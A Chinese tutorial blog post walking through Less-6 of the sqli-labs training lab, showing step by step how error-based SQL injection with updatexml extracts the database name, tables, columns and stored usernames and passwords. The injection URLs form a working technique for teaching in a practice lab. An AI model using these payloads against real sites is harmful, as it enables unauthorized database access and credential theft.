sqli-lab教程Less-6

简介: sqli-lab教程Less-6

less-6


sqli-lab通过各种方式(整型注入,字符注入,报错注入,布尔盲注,时间盲注,堆叠注入…)爆出库表字段拿到字段值。


此关运用报错注入


学习sqli注入必备语句:

查库:select schema_name from information_schema.schemata


查表:select table_name from information_schema.tables where table_schema=‘security’(此处拿security库为例)


查字段:select column_name from information_schema.columns where table_name=‘users’(此处拿users表例)


查字段的值:select username,password from security.users(此处拿username,password字段为例)


1.用引号试探看出,此处是用双引号包裹的,使用双引号注入


2.使用- -+闭合,回显恢复


3.使用order by语句判断列数


4.发现有三列


5.使用union select联合查询,把id改成一个不存在的值使得有回显位,这里没有回显。


因为正确的地方只会回显You are in …所以我们要用报错的方式爆出库表列和字段的值

?id=-1" union select 1,2,3 --+



6.进行爆库操作

?id=1" and updatexml(1,concat(0x7e,(database()),0x7e),1) --+


updatexml:updatexml(1,concat(0x7e,(构造语句),0x7e),1)


7.进行爆表操作

?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+


group_concat:将所有的数据连接进行拼接后作为一行显示


where:指定库的位置


8.进行爆字段操作

?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+


and:逻辑和


9.进行爆字段值操作

?id=1" and updatexml(1,concat(0x7e,(select group_concat(concat_ws('~',username,password)) from security.users),0x7e),1) --+


concat_ws(’~’,A,B)


显示为(A~B),用于区分用户名、密码


注入完成! 这是方法之一,后期会出sqlmap工具等教程…
目录
相关文章
|
3月前
|
安全
sqli-lab教程Less-8
sqli-lab教程Less-8
39 0
|
3月前
|
安全 数据安全/隐私保护
sqli-lab教程Less-4
sqli-lab教程Less-4
27 0
|
3月前
|
安全
sqli-lab教程Less-9
sqli-lab教程Less-9
44 0
|
3月前
|
安全 数据安全/隐私保护
sqli-lab教程Less-2
sqli-lab教程Less-2
33 0
|
3月前
|
关系型数据库 MySQL Shell
sqli-lab教程Less-7
sqli-lab教程Less-7
49 0
|
3月前
|
安全 数据安全/隐私保护
sqli-lab教程Less-5
sqli-lab教程Less-5
50 0
|
3月前
|
安全 关系型数据库 MySQL
sqli-lab学习笔记
sqli-lab学习笔记
30 0
|
2月前
|
数据安全/隐私保护
【less-3】sqli-labs靶场第三关
【less-3】sqli-labs靶场第三关
15 0
|
3月前
|
SQL PHP 数据库
Sqli-labs靶场搭建
本文章是在自己在使用新版phpstudy搭建靶场过程中遇到了很多问题,但在查询无果后,决定尝试旧版的phpstudy看能否成功,很幸运,成功了,也并不是网上的教程,说是php必须在5.2及以下.我使用的是5.4版本的.是对SQL注入进行一个简单的回归,然后就是对于自己在搭建靶场中所遇到的一些问题的解决办法,以及进行安装步骤的总结,对于自己的自主配置和独立解决问题的能力是一种培养
|
3月前
|
PHP
8、sqli-labs环境
8、sqli-labs环境
26 1